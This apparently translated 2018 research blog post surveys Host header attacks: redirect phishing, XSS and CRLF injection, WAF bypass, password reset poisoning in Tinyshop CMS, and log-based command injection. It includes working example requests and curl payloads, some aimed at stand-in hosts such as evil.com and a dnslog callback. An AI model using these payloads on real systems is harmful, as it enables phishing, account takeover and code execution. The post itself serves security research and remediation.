Various Tricks in Host Header Attack Vulnerability
02/28/2018
I saw a researcher on Weibo post a link of acunetix official paper called What is a Host Header Attack?. A total of three tips on the use of host header attacks.
https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/
I discovered an internal research report I wrote last year covered all of the tricks in the paper. Now I plan to post this report for community.
The general web application is that if you want to know the domain name of the website is not a simple matter, if you use a fixed URI as a domain name, there will be various troubles.
Developers generally rely on the HTTP Host header (such as $_SERVER["HTTP_HOST"] in PHP, and this header is unreliable in many cases. Many applications directly output this value to the page without HTML encoding.
The definition of the host header attack is to tamper the host field in the request to enable any function that directly calls the value of the field without validation. In fact, from a fundamental point of view, the host header attack should be attributed to the HTTP standard variable injection attack.
URL Redirect Phishing
Request:
GET /bea_wls_deployment_internal HTTP/1.1HOST: evilhost.comX-Forward-Host:evil.comConnection: Keep-aliveResponse:
HTTP/1.1 302 Moved TemporarilyLocation: http://evilhost.com/bea_wls_deployment_internal/Content-lenght: 309<p>It's now at <a href="http://evilhost.com/bea_wls_deployment_internal">http://evilhost.com/bea_wls_deployment_internal/</a>.</p>Adding the X-Forwarded-Host field header to bypass host attack filtering is a very common technique. Such attacks are common in AWVS scan results. However, due to the restriction of the conditions, I will not submit such nonsense vulnerabilities to vendors anyway.
Client Display Vulnerability
Display vulnerability is actually like XSS, HTML Pollution, etc.
curl -H "Host: cow\"onerror='alert(1)'rel='stylesheet'" http://example.com/ | fgrep cow\"The front end polluted will display such following code,
<link href="http://cow"onerror='alert(1)'rel='stylesheet'/" rel="canonical"/>In addition to XSS, what can be done in the HTTP header field is the injection of the HTTP domain variable, such as CRLF.
curl -H "Host: www.nsfocus.com/r/nSet-Cookie: user=admin”However, this kind of attack is actually the same as the previous one. The attack conditions and the environment are complex. It is also an attack mode that I don't recommend. It may be that the idea is not brilliant enough.
URL Hacking
In fact, this can be completely separated as an independent subject to research, such as www.baidu.com@evil.com. This majority of this kind of trick is fuzzing some of the features of the URL standard and is also fuzz of regular expressions for some domain names processed on the back end. There is no actual rule to follow, and it is somewhat biased towards browser security.
Here is a case from the previous threat analysis of Black Hat SEO. Last year, I received an incident security response in a government bank. In fact, it was a problem of using generics in the subdomain to raise SEO. Then in the incident response process, a fuzz for for that malicious domain bring me lots of funny things.
Due to the generics and back-end spider in this malicious server, no matter what subdomain is, the site will eventually redirect a similar website as the original one. For example, www.xxbank.com.evil.com, and the display in the browser is as same as the display of the site www.xxbank.com. But the fake one embeds some of the hyperlinks to improve their SEO.
Then I tried some special domains.
Due to the threat analysis, I have got the NSFOCUS threat warning ID: NS-2017-0031
In addition to this case, a WAF Bypass event was encountered in the incident security response, too. Some vendors' WAFs need to configure their protocol when configuring the site, for example, http/https. If the site is HTTPS, then you will configure https://www.protected.com. However in the intranet HTTP protocol works as well so I made the following tampering.
host: www.protected.com:443host: www.protected.comThus, the WAF is bypassed.
Password Reset Poisoning
This vulnerability must be mostly encountered and mostly valuable one. I have discovered so much of them in many banks, social websites, etc. At present, I will take Tinyshop CMS as an example to analyze the kind of vulnerability.
Tinyshop can generate a password reset email to help users find back their password in the condition of forgetting the password. In the code, the key function is forget_act(). The function firstly generates a 32-bit random number and then take hash as the secret safecode. At last, the safecode will be spliced into the reset link in the email which is sent to the user.
Here a formatting function fullUrlFormat() is called. Go into the function and check, it shows that the function getHost() is used to get the current website's domain name.
The default value of the $_HOST variable is null when calling getHost(). So try to take $_SERVER[‘HTTP_HOST’] and $_SERVER[‘SERVER_NAME’] as the domain name of the stitching URL. And $_SERVER[‘HTTP_HOST’] is the eventual value of the host header transferred by the client directly without filtering. It is obvious that there is host header attack pollution.
Do the real penetration.
Intercept the package of sending forget email and revise the host header which actually transfers the data to the variable forget_act to my dnslog domain and then forwards the package.
The victim will receive an email with a fake link, if he clicks it and my dnslog platform will achieve the random number. At last, I can use the only random number to reset the victim's password.
However, because this vulnerability needs user's interaction, so the danger level of it will be reduced to medium. That is the most unfortunate point.
Command Injection in Log Storage
In fact, the essence of the vulnerability is derived from the administrator's configuration negligence. When some administrators configure the server logs, the host field is imported. In the enterprise, there may be such a phenomenon that a load balancing server or a reverse proxy server may set up several servers with different domain name and the operation and maintenance administrators often slice the logs of these reverse proxy server. They gather the same domain name into one package to store.
The three configuration variables that might be used in nginx, that are $server_name, $host and $http_host. The $server_name is a directive that matches the host header in the request. $http_host and $host represent the host header in the request. The difference is that $http_host will contain a port number (not 80/443).
An attacker can add some command injection statements to the domain name, for example:
GET / HTTP/1.1Host: `curl dnslog.com/example.com`.example.comRCE Standing on the shoulders of giants
PHPMailer RCE（CVE-2016-10033）—> WordPress Core RCE（CVE-2017-8295）；
Shoulders of giants: RCE in PHPMailer (CVE-2016-10033)
RCE Standing on the shoulders of giants: Wordpress (version <4.7.1) exists RCE in sending mails (CVE-2017-8295)
Fix
To the normal vendor whose actual business is under the famous framework can fix this problem via writing the actual domain name of the application system in the place of $_SERVER["HTTP_HOST"].
The most complicated fix is actually a fix for the generic framework. There are often some intractable problems in this fix, such as the flaws in domain name matching. This is similar to the fix for URL Redirecting and SSRF vulnerabilities. The bypass check of the X-Forwarded-Host field and the host header pollution like the HPP idea are all issues to consider. Frameworks like Django have put a lot of effort into this issue.
Summary
In fact, in the final analysis, the Host header attacking such vulnerabilities is not characteristic. They are categorized together because the positions of tampering are all in the host field. The kind of research is actually an analysis in the problem of injection of the HTTP standard variable.
Refererence
1、利用HTTP host头攻击的技术, 龙臣；
2、HTTP盲攻击的几种思路, CplusHua；
3、http://schin.space/nginx/NGINX-%u5173%u4E8Enginx%u4E2D%24host-%24server_name-%24http_host%u7684%u533A%u522B/%uFF1B；
3、https://portswigger.net/kb/papers/CrackingTheLens-whitepaper.pdf；